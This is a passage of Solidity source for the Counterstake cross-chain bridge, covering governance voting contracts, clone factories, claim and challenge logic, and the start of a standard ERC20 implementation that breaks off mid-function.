_notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract Governance is ReentrancyGuard { uint constant public governance_challenging_period = 10 days; uint constant public governance_freeze_period = 30 days; address public votingTokenAddress; address public governedContractAddress; mapping(address => uint) public balances; VotedValue[] public votedValues; mapping(string => VotedValue) public votedValuesMap; constructor(address _governedContractAddress, address _votingTokenAddress){ init(_governedContractAddress, _votingTokenAddress); } function init(address _governedContractAddress, address _votingTokenAddress) public { require(governedContractAddress == address(0), "governance already initialized"); governedContractAddress = _governedContractAddress; votingTokenAddress = _votingTokenAddress; } function addressBelongsToGovernance(address addr) public view returns (bool) { for (uint i = 0; i < votedValues.length; i++) if (address(votedValues[i]) == addr) return true; return false; } function isUntiedFromAllVotes(address addr) public view returns (bool) { for (uint i = 0; i < votedValues.length; i++) if (votedValues[i].hasVote(addr)) return false; return true; } function addVotedValue(string memory name, VotedValue votedValue) external { require(msg.sender == governedContractAddress, "not authorized"); votedValues.push(votedValue); votedValuesMap[name] = votedValue; } // deposit function deposit(uint amount) payable external { deposit(msg.sender, amount); } function deposit(address from, uint amount) nonReentrant payable public { require(from == msg.sender || addressBelongsToGovernance(msg.sender), "not allowed"); if (votingTokenAddress == address(0)) require(msg.value == amount, "wrong amount received"); else { require(msg.value == 0, "don't send ETH"); require(IERC20(votingTokenAddress).transferFrom(from, address(this), amount), "failed to pull gov deposit"); } balances[from] += amount; } // withdrawal functions function withdraw() external { withdraw(balances[msg.sender]); } function withdraw(uint amount) nonReentrant public { require(amount > 0, "zero withdrawal requested"); require(amount <= balances[msg.sender], "not enough balance"); require(isUntiedFromAllVotes(msg.sender), "some votes not removed yet"); balances[msg.sender] -= amount; if (votingTokenAddress == address(0)) payable(msg.sender).transfer(amount); else require(IERC20(votingTokenAddress).transfer(msg.sender, amount), "failed to withdraw gov deposit"); } } abstract contract VotedValue is ReentrancyGuard { Governance public governance; uint public challenging_period_start_ts; mapping(address => bool) public hasVote; constructor(Governance _governance){ governance = _governance; } function checkVoteChangeLock() view public { require(challenging_period_start_ts + governance.governance_challenging_period() + governance.governance_freeze_period() < block.timestamp, "you cannot change your vote yet"); } function checkChallengingPeriodExpiry() view public { require(block.timestamp > challenging_period_start_ts + governance.governance_challenging_period(), "challenging period not expired yet"); } } contract VotedValueUint is VotedValue { function(uint) external validationCallback; function(uint) external commitCallback; uint public leader; uint public current_value; mapping(address => uint) public choices; mapping(uint => uint) public votesByValue; mapping(uint => mapping(address => uint)) public votesByValueAddress; constructor() VotedValue(Governance(address(0))) {} // constructor(Governance _governance, uint initial_value, function(uint) external _validationCallback, function(uint) external _commitCallback) VotedValue(_governance) { // leader = initial_value; // current_value = initial_value; // validationCallback = _validationCallback; // commitCallback = _commitCallback; // } function init(Governance _governance, uint initial_value, function(uint) external _validationCallback, function(uint) external _commitCallback) external { require(address(governance) == address(0), "already initialized"); governance = _governance; leader = initial_value; current_value = initial_value; validationCallback = _validationCallback; commitCallback = _commitCallback; } function vote(uint value) nonReentrant external { _vote(value); } function voteAndDeposit(uint value, uint amount) nonReentrant payable external { governance.deposit{value: msg.value}(msg.sender, amount); _vote(value); } function _vote(uint value) private { validationCallback(value); uint prev_choice = choices[msg.sender]; bool hadVote = hasVote[msg.sender]; if (prev_choice == leader) checkVoteChangeLock(); // first, remove votes from the previous choice if (hadVote) removeVote(prev_choice); // then, add them to the new choice uint balance = governance.balances(msg.sender); require(balance > 0, "no balance"); votesByValue[value] += balance; votesByValueAddress[value][msg.sender] = balance; choices[msg.sender] = value; hasVote[msg.sender] = true; // check if the leader has just changed if (votesByValue[value] > votesByValue[leader]){ leader = value; challenging_period_start_ts = block.timestamp; } } function unvote() external { if (!hasVote[msg.sender]) return; uint prev_choice = choices[msg.sender]; if (prev_choice == leader) checkVoteChangeLock(); removeVote(prev_choice); delete choices[msg.sender]; delete hasVote[msg.sender]; } function removeVote(uint value) internal { votesByValue[value] -= votesByValueAddress[value][msg.sender]; votesByValueAddress[value][msg.sender] = 0; } function commit() nonReentrant external { require(leader != current_value, "already equal to leader"); checkChallengingPeriodExpiry(); current_value = leader; commitCallback(leader); } } contract VotedValueUintArray is VotedValue { function(uint[] memory) external validationCallback; function(uint[] memory) external commitCallback; uint[] public leader; uint[] public current_value; mapping(address => uint[]) public choices; mapping(bytes32 => uint) public votesByValue; mapping(bytes32 => mapping(address => uint)) public votesByValueAddress; constructor() VotedValue(Governance(address(0))) {} // constructor(Governance _governance, uint[] memory initial_value, function(uint[] memory) external _validationCallback, function(uint[] memory) external _commitCallback) VotedValue(_governance) { // leader = initial_value; // current_value = initial_value; // validationCallback = _validationCallback; // commitCallback = _commitCallback; // } function init(Governance _governance, uint[] memory initial_value, function(uint[] memory) external _validationCallback, function(uint[] memory) external _commitCallback) external { require(address(governance) == address(0), "already initialized"); governance = _governance; leader = initial_value; current_value = initial_value; validationCallback = _validationCallback; commitCallback = _commitCallback; } function equal(uint[] memory a1, uint[] memory a2) public pure returns (bool) { if (a1.length != a2.length) return false; for (uint i = 0; i < a1.length; i++) if (a1[i] != a2[i]) return false; return true; } function getKey(uint[] memory a) public pure returns (bytes32){ return keccak256(abi.encodePacked(a)); } function vote(uint[] memory value) nonReentrant external { _vote(value); } function voteAndDeposit(uint[] memory value, uint amount) nonReentrant payable external { governance.deposit{value: msg.value}(msg.sender, amount); _vote(value); } function _vote(uint[] memory value) private { validationCallback(value); uint[] storage prev_choice = choices[msg.sender]; bool hadVote = hasVote[msg.sender]; if (equal(prev_choice, leader)) checkVoteChangeLock(); // remove one's vote from the previous choice first if (hadVote) removeVote(prev_choice); // then, add it to the new choice, if any bytes32 key = getKey(value); uint balance = governance.balances(msg.sender); require(balance > 0, "no balance"); votesByValue[key] += balance; votesByValueAddress[key][msg.sender] = balance; choices[msg.sender] = value; hasVote[msg.sender] = true; // check if the leader has just changed if (votesByValue[key] > votesByValue[getKey(leader)]){ leader = value; challenging_period_start_ts = block.timestamp; } } function unvote() external { if (!hasVote[msg.sender]) return; uint[] storage prev_choice = choices[msg.sender]; if (equal(prev_choice, leader)) checkVoteChangeLock(); removeVote(prev_choice); delete choices[msg.sender]; delete hasVote[msg.sender]; } function removeVote(uint[] memory value) internal { bytes32 key = getKey(value); votesByValue[key] -= votesByValueAddress[key][msg.sender]; votesByValueAddress[key][msg.sender] = 0; } function commit() nonReentrant external { require(!equal(leader, current_value), "already equal to leader"); checkChallengingPeriodExpiry(); current_value = leader; commitCallback(leader); } } contract VotedValueAddress is VotedValue { function(address) external validationCallback; function(address) external commitCallback; address public leader; address public current_value; // mapping(who => value) mapping(address => address) public choices; // mapping(value => votes) mapping(address => uint) public votesByValue; // mapping(value => mapping(who => votes)) mapping(address => mapping(address => uint)) public votesByValueAddress; constructor() VotedValue(Governance(address(0))) {} // constructor(Governance _governance, address initial_value, function(address) external _validationCallback, function(address) external _commitCallback) VotedValue(_governance) { // leader = initial_value; // current_value = initial_value; // validationCallback = _validationCallback; // commitCallback = _commitCallback; // } function init(Governance _governance, address initial_value, function(address) external _validationCallback, function(address) external _commitCallback) external { require(address(governance) == address(0), "already initialized"); governance = _governance; leader = initial_value; current_value = initial_value; validationCallback = _validationCallback; commitCallback = _commitCallback; } function vote(address value) nonReentrant external { _vote(value); } function voteAndDeposit(address value, uint amount) nonReentrant payable external { governance.deposit{value: msg.value}(msg.sender, amount); _vote(value); } function _vote(address value) private { validationCallback(value); address prev_choice = choices[msg.sender]; bool hadVote = hasVote[msg.sender]; if (prev_choice == leader) checkVoteChangeLock(); // first, remove votes from the previous choice if (hadVote) removeVote(prev_choice); // then, add them to the new choice uint balance = governance.balances(msg.sender); require(balance > 0, "no balance"); votesByValue[value] += balance; votesByValueAddress[value][msg.sender] = balance; choices[msg.sender] = value; hasVote[msg.sender] = true; // check if the leader has just changed if (votesByValue[value] > votesByValue[leader]){ leader = value; challenging_period_start_ts = block.timestamp; } } function unvote() external { if (!hasVote[msg.sender]) return; address prev_choice = choices[msg.sender]; if (prev_choice == leader) checkVoteChangeLock(); removeVote(prev_choice); delete choices[msg.sender]; delete hasVote[msg.sender]; } function removeVote(address value) internal { votesByValue[value] -= votesByValueAddress[value][msg.sender]; votesByValueAddress[value][msg.sender] = 0; } function commit() nonReentrant external { require(leader != current_value, "already equal to leader"); checkChallengingPeriodExpiry(); current_value = leader; commitCallback(leader); } } contract VotedValueFactory { address public votedValueUintMaster; address public votedValueUintArrayMaster; address public votedValueAddressMaster; constructor(address _votedValueUintMaster, address _votedValueUintArrayMaster, address _votedValueAddressMaster) { votedValueUintMaster = _votedValueUintMaster; votedValueUintArrayMaster = _votedValueUintArrayMaster; votedValueAddressMaster = _votedValueAddressMaster; } function createVotedValueUint(Governance governance, uint initial_value, function(uint) external validationCallback, function(uint) external commitCallback) external returns (VotedValueUint) { VotedValueUint vv = VotedValueUint(Clones.clone(votedValueUintMaster)); vv.init(governance, initial_value, validationCallback, commitCallback); return vv; } function createVotedValueUintArray(Governance governance, uint[] memory initial_value, function(uint[] memory) external validationCallback, function(uint[] memory) external commitCallback) external returns (VotedValueUintArray) { VotedValueUintArray vv = VotedValueUintArray(Clones.clone(votedValueUintArrayMaster)); vv.init(governance, initial_value, validationCallback, commitCallback); return vv; } function createVotedValueAddress(Governance governance, address initial_value, function(address) external validationCallback, function(address) external commitCallback) external returns (VotedValueAddress) { VotedValueAddress vv = VotedValueAddress(Clones.clone(votedValueAddressMaster)); vv.init(governance, initial_value, validationCallback, commitCallback); return vv; } } contract GovernanceFactory { address public governanceMaster; constructor(address _governanceMaster) { governanceMaster = _governanceMaster; } function createGovernance(address governedContractAddress, address votingTokenAddress) external returns (Governance) { Governance governance = Governance(Clones.clone(governanceMaster)); governance.init(governedContractAddress, votingTokenAddress); return governance; } } // The purpose of the library is to separate some of the code out of the Export/Import contracts and keep their sizes under the 24KiB limit library CounterstakeLibrary { enum Side {no, yes} // small values (bool, uint32, ...) are grouped together in order to be packed efficiently struct Claim { uint amount; // int reward; address payable recipient_address; // 20 bytes, 12 bytes left uint32 txts; uint32 ts; address payable claimant_address; uint32 expiry_ts; uint16 period_number; Side current_outcome; bool is_large; bool withdrawn; bool finished; string sender_address; // string txid; string data; uint yes_stake; uint no_stake; // uint challenging_target; } struct Settings { address tokenAddress; uint16 ratio100;// = 100; uint16 counterstake_coef100;// = 150; uint32 min_tx_age; uint min_stake; uint[] challenging_periods;// = [12 hours, 3 days, 1 weeks, 30 days]; uint[] large_challenging_periods;// = [3 days, 1 weeks, 30 days]; uint large_threshold; } event NewClaim(uint indexed claim_num, address author_address, string sender_address, address recipient_address, string txid, uint32 txts, uint amount, int reward, uint stake, string data, uint32 expiry_ts); event NewChallenge(uint indexed claim_num, address author_address, uint stake, Side outcome, Side current_outcome, uint yes_stake, uint no_stake, uint32 expiry_ts, uint challenging_target); event FinishedClaim(uint indexed claim_num, Side outcome); struct ClaimRequest { string txid; uint32 txts; uint amount; int reward; uint stake; uint required_stake; address payable recipient_address; string sender_address; string data; } function claim( Settings storage settings, mapping(string => uint) storage claim_nums, mapping(uint => Claim) storage claims, mapping(uint => mapping(Side => mapping(address => uint))) storage stakes, uint claim_num, ClaimRequest memory req ) external { require(req.amount > 0, "0 claim"); require(req.stake >= req.required_stake, "the stake is too small"); require(block.timestamp >= req.txts + settings.min_tx_age, "too early"); if (req.recipient_address == address(0)) req.recipient_address = payable(msg.sender); if (req.reward < 0) require(req.recipient_address == payable(msg.sender), "the sender disallowed third-party claiming by setting a negative reward"); string memory claim_id = getClaimId(req.sender_address, req.recipient_address, req.txid, req.txts, req.amount, req.reward, req.data); require(claim_nums[claim_id] == 0, "this transfer has already been claimed"); bool is_large = (settings.large_threshold > 0 && req.stake >= settings.large_threshold); uint32 expiry_ts = uint32(block.timestamp + getChallengingPeriod(settings, 0, is_large)); // might wrap claim_nums[claim_id] = claim_num; // uint challenging_target = req.stake * settings.counterstake_coef100/100; claims[claim_num] = Claim({ amount: req.amount, // reward: req.reward, recipient_address: req.recipient_address, claimant_address: payable(msg.sender), sender_address: req.sender_address, // txid: req.txid, data: req.data, yes_stake: req.stake, no_stake: 0, current_outcome: Side.yes, is_large: is_large, period_number: 0, txts: req.txts, ts: uint32(block.timestamp), expiry_ts: expiry_ts, // challenging_target: req.stake * settings.counterstake_coef100/100, withdrawn: false, finished: false }); stakes[claim_num][Side.yes][msg.sender] = req.stake; emit NewClaim(claim_num, msg.sender, req.sender_address, req.recipient_address, req.txid, req.txts, req.amount, req.reward, req.stake, req.data, expiry_ts); // return claim_id; } function challenge( Settings storage settings, Claim storage c, mapping(uint => mapping(Side => mapping(address => uint))) storage stakes, uint claim_num, Side stake_on, uint stake ) external { require(block.timestamp < c.expiry_ts, "the challenging period has expired"); require(stake_on != c.current_outcome, "this outcome is already current"); uint excess; uint challenging_target = (c.current_outcome == Side.yes ? c.yes_stake : c.no_stake) * settings.counterstake_coef100/100; { // circumvent stack too deep uint stake_on_proposed_outcome = (stake_on == Side.yes ? c.yes_stake : c.no_stake) + stake; bool would_override_current_outcome = stake_on_proposed_outcome >= challenging_target; excess = would_override_current_outcome ? stake_on_proposed_outcome - challenging_target : 0; uint accepted_stake = stake - excess; if (stake_on == Side.yes) c.yes_stake += accepted_stake; else c.no_stake += accepted_stake; if (would_override_current_outcome){ c.period_number++; c.current_outcome = stake_on; c.expiry_ts = uint32(block.timestamp + getChallengingPeriod(settings, c.period_number, c.is_large)); challenging_target = challenging_target * settings.counterstake_coef100/100; } stakes[claim_num][stake_on][msg.sender] += accepted_stake; } emit NewChallenge(claim_num, msg.sender, stake, stake_on, c.current_outcome, c.yes_stake, c.no_stake, c.expiry_ts, challenging_target); if (excess > 0){ if (settings.tokenAddress == address(0)) payable(msg.sender).transfer(excess); else require(IERC20(settings.tokenAddress).transfer(msg.sender, excess), "failed to transfer the token"); } } function finish( Claim storage c, mapping(uint => mapping(Side => mapping(address => uint))) storage stakes, uint claim_num, address payable to_address ) external returns (bool, bool, uint) { require(block.timestamp > c.expiry_ts, "challenging period is still ongoing"); if (to_address == address(0)) to_address = payable(msg.sender); bool is_winning_claimant = (to_address == c.claimant_address && c.current_outcome == Side.yes); require(!(is_winning_claimant && c.withdrawn), "already withdrawn"); uint won_stake; { // circumvent stack too deep uint my_stake = stakes[claim_num][c.current_outcome][to_address]; require(my_stake > 0 || is_winning_claimant, "you are not the recipient and you didn't stake on the winning outcome or you have already withdrawn"); uint winning_stake = c.current_outcome == Side.yes ? c.yes_stake : c.no_stake; if (my_stake > 0) won_stake = (c.yes_stake + c.no_stake) * my_stake / winning_stake; } if (is_winning_claimant) c.withdrawn = true; bool finished; if (!c.finished){ finished = true; c.finished = true; // Side losing_outcome = outcome == Side.yes ? Side.no : Side.yes; // delete stakes[claim_id][losing_outcome]; // can't purge the stakes that will never be claimed emit FinishedClaim(claim_num, c.current_outcome); } delete stakes[claim_num][c.current_outcome][to_address]; return (finished, is_winning_claimant, won_stake); } function getChallengingPeriod(Settings storage settings, uint16 period_number, bool bLarge) public view returns (uint) { uint[] storage periods = bLarge ? settings.large_challenging_periods : settings.challenging_periods; if (period_number > periods.length - 1) period_number = uint16(periods.length - 1); return periods[period_number]; } function validateChallengingPeriods(uint[] memory periods) pure external { require(periods.length > 0, "empty periods"); uint prev_period = 0; for (uint i = 0; i < periods.length; i++) { require(periods[i] < 3 * 365 days, "some periods are longer than 3 years"); require(periods[i] >= prev_period, "subsequent periods cannot get shorter"); prev_period = periods[i]; } } function getClaimId(string memory sender_address, address recipient_address, string memory txid, uint32 txts, uint amount, int reward, string memory data) public pure returns (string memory){ return string(abi.encodePacked(sender_address, '_', toAsciiString(recipient_address), '_', txid, '_', uint2str(txts), '_', uint2str(amount), '_', int2str(reward), '_', data)); } function uint2str(uint256 _i) private pure returns (string memory) { if (_i == 0) return "0"; uint256 j = _i; uint256 length; while (j != 0) { length++; j /= 10; } bytes memory bstr = new bytes(length); uint256 k = length; j = _i; while (j != 0) { bstr[--k] = bytes1(uint8(48 + j % 10)); j /= 10; } return string(bstr); } function int2str(int256 _i) private pure returns (string memory) { require(_i < type(int).max, "int too large"); return _i >= 0 ? uint2str(uint(_i)) : string(abi.encodePacked('-', uint2str(uint(-_i)))); } function toAsciiString(address x) private pure returns (string memory) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2*i] = char(hi); s[2*i+1] = char(lo); } return string(s); } function char(bytes1 b) private pure returns (bytes1 c) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57); } function isContract(address _addr) public view returns (bool){ uint32 size; assembly { size := extcodesize(_addr) } return (size > 0); } } interface CounterstakeReceiver { function onReceivedFromClaim(uint claim_num, uint net_claimed_amount, uint won_stake, string memory sender_address, address claim_recipient_address, string memory data) external; } abstract contract Counterstake is ReentrancyGuard { event NewClaim(uint indexed claim_num, address author_address, string sender_address, address recipient_address, string txid, uint32 txts, uint amount, int reward, uint stake, string data, uint32 expiry_ts); event NewChallenge(uint indexed claim_num, address author_address, uint stake, CounterstakeLibrary.Side outcome, CounterstakeLibrary.Side current_outcome, uint yes_stake, uint no_stake, uint32 expiry_ts, uint challenging_target); event FinishedClaim(uint indexed claim_num, CounterstakeLibrary.Side outcome); Governance public governance; CounterstakeLibrary.Settings public settings; uint64 public last_claim_num; uint64[] public ongoing_claim_nums; mapping(uint => uint) public num2index; mapping(string => uint) public claim_nums; mapping(uint => CounterstakeLibrary.Claim) private claims; mapping(uint => mapping(CounterstakeLibrary.Side => mapping(address => uint))) public stakes; function getClaim(uint claim_num) external view returns (CounterstakeLibrary.Claim memory) { return claims[claim_num]; } function getClaim(string memory claim_id) external view returns (CounterstakeLibrary.Claim memory) { return claims[claim_nums[claim_id]]; } function getOngoingClaimNums() external view returns (uint64[] memory) { return ongoing_claim_nums; } constructor (address _tokenAddr, uint16 _counterstake_coef100, uint16 _ratio100, uint _large_threshold, uint[] memory _challenging_periods, uint[] memory _large_challenging_periods) { initCounterstake(_tokenAddr, _counterstake_coef100, _ratio100, _large_threshold, _challenging_periods, _large_challenging_periods); } function initCounterstake(address _tokenAddr, uint16 _counterstake_coef100, uint16 _ratio100, uint _large_threshold, uint[] memory _challenging_periods, uint[] memory _large_challenging_periods) public { require(address(governance) == address(0), "already initialized"); settings = CounterstakeLibrary.Settings({ tokenAddress: _tokenAddr, counterstake_coef100: _counterstake_coef100 > 100 ? _counterstake_coef100 : 150, ratio100: _ratio100 > 0 ? _ratio100 : 100, min_stake: 0, min_tx_age: 0, challenging_periods: _challenging_periods, large_challenging_periods: _large_challenging_periods, large_threshold: _large_threshold }); } /* modifier onlyETH(){ require(settings.tokenAddress == address(0), "ETH only"); _; } modifier onlyERC20(){ require(settings.tokenAddress != address(0), "ERC20 only"); _; }*/ modifier onlyVotedValueContract(){ require(governance.addressBelongsToGovernance(msg.sender), "not from voted value contract"); _; } // would be happy to call this from the constructor but unfortunately `this` is not set at that time yet function setupGovernance(GovernanceFactory governanceFactory, VotedValueFactory votedValueFactory) virtual public { require(address(governance) == address(0), "already initialized"); governance = governanceFactory.createGovernance(address(this), settings.tokenAddress); governance.addVotedValue("ratio100", votedValueFactory.createVotedValueUint(governance, settings.ratio100, this.validateRatio, this.setRatio)); governance.addVotedValue("counterstake_coef100", votedValueFactory.createVotedValueUint(governance, settings.counterstake_coef100, this.validateCounterstakeCoef, this.setCounterstakeCoef)); governance.addVotedValue("min_stake", votedValueFactory.createVotedValueUint(governance, settings.min_stake, this.validateMinStake, this.setMinStake)); governance.addVotedValue("min_tx_age", votedValueFactory.createVotedValueUint(governance, settings.min_tx_age, this.validateMinTxAge, this.setMinTxAge)); governance.addVotedValue("large_threshold", votedValueFactory.createVotedValueUint(governance, settings.large_threshold, this.validateLargeThreshold, this.setLargeThreshold)); governance.addVotedValue("challenging_periods", votedValueFactory.createVotedValueUintArray(governance, settings.challenging_periods, this.validateChallengingPeriods, this.setChallengingPeriods)); governance.addVotedValue("large_challenging_periods", votedValueFactory.createVotedValueUintArray(governance, settings.large_challenging_periods, this.validateChallengingPeriods, this.setLargeChallengingPeriods)); } function validateRatio(uint _ratio100) pure external { require(_ratio100 > 0 && _ratio100 < 64000, "bad ratio"); } function setRatio(uint _ratio100) onlyVotedValueContract external { settings.ratio100 = uint16(_ratio100); } function validateCounterstakeCoef(uint _counterstake_coef100) pure external { require(_counterstake_coef100 > 100 && _counterstake_coef100 < 64000, "bad counterstake coef"); } function setCounterstakeCoef(uint _counterstake_coef100) onlyVotedValueContract external { settings.counterstake_coef100 = uint16(_counterstake_coef100); } function validateMinStake(uint _min_stake) pure external { // anything goes } function setMinStake(uint _min_stake) onlyVotedValueContract external { settings.min_stake = _min_stake; } function validateMinTxAge(uint _min_tx_age) pure external { require(_min_tx_age < 4 weeks, "min tx age too large"); } function setMinTxAge(uint _min_tx_age) onlyVotedValueContract external { settings.min_tx_age = uint32(_min_tx_age); } function validateLargeThreshold(uint _large_threshold) pure external { // anything goes } function setLargeThreshold(uint _large_threshold) onlyVotedValueContract external { settings.large_threshold = _large_threshold; } function validateChallengingPeriods(uint[] memory periods) pure external { CounterstakeLibrary.validateChallengingPeriods(periods); } function setChallengingPeriods(uint[] memory _challenging_periods) onlyVotedValueContract external { settings.challenging_periods = _challenging_periods; } function setLargeChallengingPeriods(uint[] memory _large_challenging_periods) onlyVotedValueContract external { settings.large_challenging_periods = _large_challenging_periods; } function getChallengingPeriod(uint16 period_number, bool bLarge) external view returns (uint) { return CounterstakeLibrary.getChallengingPeriod(settings, period_number, bLarge); } function getRequiredStake(uint amount) public view virtual returns (uint); function getMissingStake(uint claim_num, CounterstakeLibrary.Side stake_on) external view returns (uint) { CounterstakeLibrary.Claim storage c = claims[claim_num]; require(c.yes_stake > 0, "no such claim"); uint current_stake = (stake_on == CounterstakeLibrary.Side.yes) ? c.yes_stake : c.no_stake; return (c.current_outcome == CounterstakeLibrary.Side.yes ? c.yes_stake : c.no_stake) * settings.counterstake_coef100/100 - current_stake; } function claim(string memory txid, uint32 txts, uint amount, int reward, uint stake, string memory sender_address, address payable recipient_address, string memory data) nonReentrant payable external { if (recipient_address == address(0)) recipient_address = payable(msg.sender); bool bThirdPartyClaiming = (recipient_address != payable(msg.sender) && reward >= 0); uint paid_amount; if (bThirdPartyClaiming) { require(amount > uint(reward), "reward too large"); paid_amount = amount - uint(reward); } receiveMoneyInClaim(stake, paid_amount); uint required_stake = getRequiredStake(amount); CounterstakeLibrary.ClaimRequest memory req = CounterstakeLibrary.ClaimRequest({ txid: txid, txts: txts, amount: amount, reward: reward, stake: stake, required_stake: required_stake, recipient_address: recipient_address, sender_address: sender_address, data: data }); last_claim_num++; ongoing_claim_nums.push(last_claim_num); num2index[last_claim_num] = ongoing_claim_nums.length - 1; CounterstakeLibrary.claim(settings, claim_nums, claims, stakes, last_claim_num, req); if (bThirdPartyClaiming){ sendToClaimRecipient(recipient_address, paid_amount); notifyPaymentRecipient(recipient_address, paid_amount, 0, last_claim_num); } } function challenge(string calldata claim_id, CounterstakeLibrary.Side stake_on, uint stake) payable external { challenge(claim_nums[claim_id], stake_on, stake); } function challenge(uint claim_num, CounterstakeLibrary.Side stake_on, uint stake) nonReentrant payable public { receiveStakeAsset(stake); CounterstakeLibrary.Claim storage c = claims[claim_num]; require(c.amount > 0, "no such claim"); CounterstakeLibrary.challenge(settings, c, stakes, claim_num, stake_on, stake); } function withdraw(string memory claim_id) external { withdraw(claim_nums[claim_id], payable(0)); } function withdraw(uint claim_num) external { withdraw(claim_num, payable(0)); } function withdraw(string memory claim_id, address payable to_address) external { withdraw(claim_nums[claim_id], to_address); } function withdraw(uint claim_num, address payable to_address) nonReentrant public { if (to_address == address(0)) to_address = payable(msg.sender); require(claim_num > 0, "no such claim num"); CounterstakeLibrary.Claim storage c = claims[claim_num]; require(c.amount > 0, "no such claim"); (bool finished, bool is_winning_claimant, uint won_stake) = CounterstakeLibrary.finish(c, stakes, claim_num, to_address); if (finished){ uint index = num2index[claim_num]; uint last_index = ongoing_claim_nums.length - 1; if (index != last_index){ // move the last element in place of our removed element require(index < last_index, "BUG index after last"); uint64 claim_num_of_last_element = ongoing_claim_nums[last_index]; num2index[claim_num_of_last_element] = index; ongoing_claim_nums[index] = claim_num_of_last_element; } ongoing_claim_nums.pop(); delete num2index[claim_num]; } uint claimed_amount_to_be_paid = is_winning_claimant ? c.amount : 0; sendWithdrawals(to_address, claimed_amount_to_be_paid, won_stake); notifyPaymentRecipient(to_address, claimed_amount_to_be_paid, won_stake, claim_num); } function notifyPaymentRecipient(address payable payment_recipient_address, uint net_claimed_amount, uint won_stake, uint claim_num) private { if (CounterstakeLibrary.isContract(payment_recipient_address)){ CounterstakeLibrary.Claim storage c = claims[claim_num]; // CounterstakeReceiver(payment_recipient_address).onReceivedFromClaim(claim_num, is_winning_claimant ? claimed_amount : 0, won_stake); (bool res, ) = payment_recipient_address.call(abi.encodeWithSignature("onReceivedFromClaim(uint256,uint256,uint256,string,address,string)", claim_num, net_claimed_amount, won_stake, c.sender_address, c.recipient_address, c.data)); if (!res){ // ignore } } } function receiveStakeAsset(uint stake_asset_amount) internal { if (settings.tokenAddress == address(0)) require(msg.value == stake_asset_amount, "wrong amount received"); else { require(msg.value == 0, "don't send ETH"); require(IERC20(settings.tokenAddress).transferFrom(msg.sender, address(this), stake_asset_amount), "failed to pull the token"); } } function sendWithdrawals(address payable to_address, uint claimed_amount_to_be_paid, uint won_stake) internal virtual; function sendToClaimRecipient(address payable to_address, uint paid_amount) internal virtual; function receiveMoneyInClaim(uint stake, uint paid_amount) internal virtual; } interface IOracle { // returns a fraction num/den function getPrice(string memory base, string memory quote) external view returns (uint num, uint den); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string public name; string public symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { name = name_; symbol = symbol_; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = 